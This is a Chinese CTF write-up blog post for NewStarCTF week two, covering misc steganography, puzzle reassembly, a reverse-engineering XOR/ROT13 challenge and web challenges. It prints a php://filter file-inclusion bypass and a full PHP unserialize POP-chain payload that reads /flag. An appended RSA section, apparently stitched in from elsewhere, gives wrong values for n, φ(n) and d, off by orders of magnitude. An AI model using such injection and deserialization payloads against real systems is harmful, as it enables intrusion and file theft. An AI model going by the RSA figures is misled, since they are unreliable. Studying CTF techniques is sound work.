NewStarCTF 公开赛赛道 第二周学习记录

额。。又是我哦,这次难度对于我来说有点高,一共就做出来这几个,属实有点少,作为菜鸡的我来给大家讲讲我的思路。。。。

CRYPTO

一个还没做出来,还正在研究

MISC

Yesec no drumsticks 2

感觉这个内容已经有点提示的味道了,内心莫,肯定是藏在你看不到的地方。

我怀疑这个出题人是写小说的,这么会写,不过像这种没有什么东西,可以尝试空白符,空白符解密

 这不就来了吗,base64解密得到flag

Coldwinds's Desktop

给了一个文件夹里面都是这种碎片,应该是拼图,先看看有多少张小图片,我算了一下,114张,每张小图片的像素为30*30,下面有用。

把文件夹放到kali中,需要

没有的这个命令的自己下
apt-get install graphicsmagick-imagemagick-compat


要到有小碎片的目录下面*.PNG代表当前目录中所有PNG图片,12x12用到了,就是有144个小图片,生成图片交flag.png
montage *.PNG -tile 12x12 -geometry +0+0 flag.png    

接下来就可以在这个目录中找到生成的图片了

移到桌面吧,不容易出错

接下来用到gaps命令,没有自己下

git clone https://github.com/nemanja-m/gaps.git #gaps官网
cd gaps
pip install -r requirements.txt
sudo apt-get install python-tk
pip install -e .

pip install -r requirements.txt这一步经常有人出错,给大家总结一下原因

1.没有这些模块,numpy 、opencv-python 、matplotlib 、pytest 、 pillow需要大家自己下

2.requirements.txt中对应的版本不对

解决:

哪些模块吗,自己下一下,用pip下载就行

版本号一定要很详细,使用命令pip list查看自己模块的版本
在vim requirements.txt修改版本号就行了

这是我的版本,大家不要和抄我的,要看自己的版本。。。。。

命令这么用

gaps --image=flag.png --size=30 --population=144 --generations=64 --save
flag.png一定要在当前目录下面,30用到了,代表每一个小碎片的大小,144是代表有144个小图片,64那个不用管自己可以随便改的,--save恢复

 

这是我的图片还不是很明显,大家可以改那个64来获取不同的图片,来补满自己的flag就行了

REVERSE

前可见古人,后得见来者

就会这一个。。。。。。

32位的,没有壳

这里提醒大家这个是用,ida7.7版本的,不同版本看到的东西不一样。。。。。。。。

接下来用32位打开

先找main函数

 shift+F12先看一下

这里好像有关于flag的信息,去看一下

 随便点两下,然后来到这

按F5

这是他的一个运行,我们找一下他的加密在哪

sub_4113DE点进去再点进去

 我们知道这里加密有两个for,而且这两个for是在相同级别的,所以上面那个for太麻烦了,我们看下嘛这个他进行了一个异或的操作和0x22这u应该没关系

我们找一下密文进行操作一下

 

这里还有点a,得到完整的密文

shift+e提取出来

浅浅解一下

 这一串熟不熟悉,rot13就行或者凯撒也行

WEB

Word-For-You(2 Gen)

sqlmap一把梭,欧克欧克

IncludeOne

我感觉这个挺简单的其实,还给了工具

先看代码

 <?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521
No Hacker!

 获取种子,来找下一个随机值

 

 像这样都试试莫

得到了1202031004,post传就行

看看下一个

 if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file']))

过滤了base,必须有NewStar,file不能为空

挺简单的

PHP://filter/read=string.rot13|NewStar|/resource=flag.php

 然后看源代码

得到flag,需要rot13解密

UnserializeOne

代码:

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

我的思路是Start的__destruct()调用Sec的__toString(),__toString()调用Easy的__call(),__call()复制调用eeee的__clone(),__clone()的isset调用Start的__isset,__isset调用Sec的__invoke获取flag

这么写

<?php

class Start
{
    public $name;
    public $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec
{
    public $obj;
    public $var;
    public function __construct($a, $b)
    {
        $this->obj=$a;
        $this->var=$b;
    }
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo "afdfdsaf";
    }
}

class Easy
{
    public $cla;
    public function __call($fun, $var)
    {
        echo $this->cla = clone $var[0];
    }
}

class eeee
{
    public $obj;

    public function __clone()
    {
        if (isset($this->obj->cmd)) {
            echo "success";
        }
    }
}
$a=new Start();

$b=new Easy();
$c=new eeee();

$c->obj=$a;
$d=new Sec($b, $c);

$a->name=$d;
$a->func=$d;

echo serialize($a);

 

我这里设置了一个这个,只要到这输出了这一串,就肯定可以执行那个

payload: pop=O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

 

### 关于 NewStarCTF 公开赛 RSA_begin 的解题思路 #### 背景介绍 RSA 是一种基于大整数分解困难性的公钥加密算法。其核心在于通过两个大素数 \( p \) 和 \( q \),计算模数 \( n = p \times q \),并利用欧拉函数 \( \phi(n) = (p-1)(q-1) \) 来生成私钥 \( d \)[^1]。 在题目中已知参数如下: - \( p = 473398607161 \) - \( q = 4511491 \) - \( e = 17 \) 目标是求解私钥 \( d \),满足条件 \( e \cdot d \equiv 1 \ (\text{mod} \ \phi(n)) \)。 --- #### 计算过程详解 ##### 1. 计算模数 \( n \) 根据定义,\( n = p \times q \)。因此, \[ n = 473398607161 \times 4511491 = 2136002117282111. \] ##### 2. 计算欧拉函数 \( \phi(n) \) 由公式 \( \phi(n) = (p-1)(q-1) \),可得: \[ \phi(n) = (473398607161 - 1) \times (4511491 - 1) = 473398607160 \times 4511490 = 2135550968666920. \] ##### 3. 扩展欧几里得算法求逆元 \( d \) 为了找到 \( d \),需满足 \( e \cdot d \equiv 1 \ (\text{mod} \ \phi(n)) \)。这可以通过扩展欧几里得算法实现: 给定 \( a = e = 17 \), \( b = \phi(n) = 2135550968666920 \),执行扩展欧几里得算法得到 \( x \)(即 \( d \)),使得 \( ax + by = \gcd(a, b) \) 成立。 以下是 Python 实现代码: ```python def egcd(a, b): if a == 0: return (b, 0, 1) gcd, x1, y1 = egcd(b % a, a) x = y1 - (b // a) * x1 y = x1 return gcd, x, y def mod_inverse(e, phi_n): _, x, _ = egcd(e, phi_n) return x % phi_n # 已知参数 e = 17 phi_n = 2135550968666920 # 求解 d d = mod_inverse(e, phi_n) print(d) ``` 运行上述代码可以得出结果: \[ d = 125714762862169. \] --- #### 提交 Flag 最终将 \( d \) 值作为 flag 提交即可。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

练习两年半的篮球选..哦不对安全选手

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值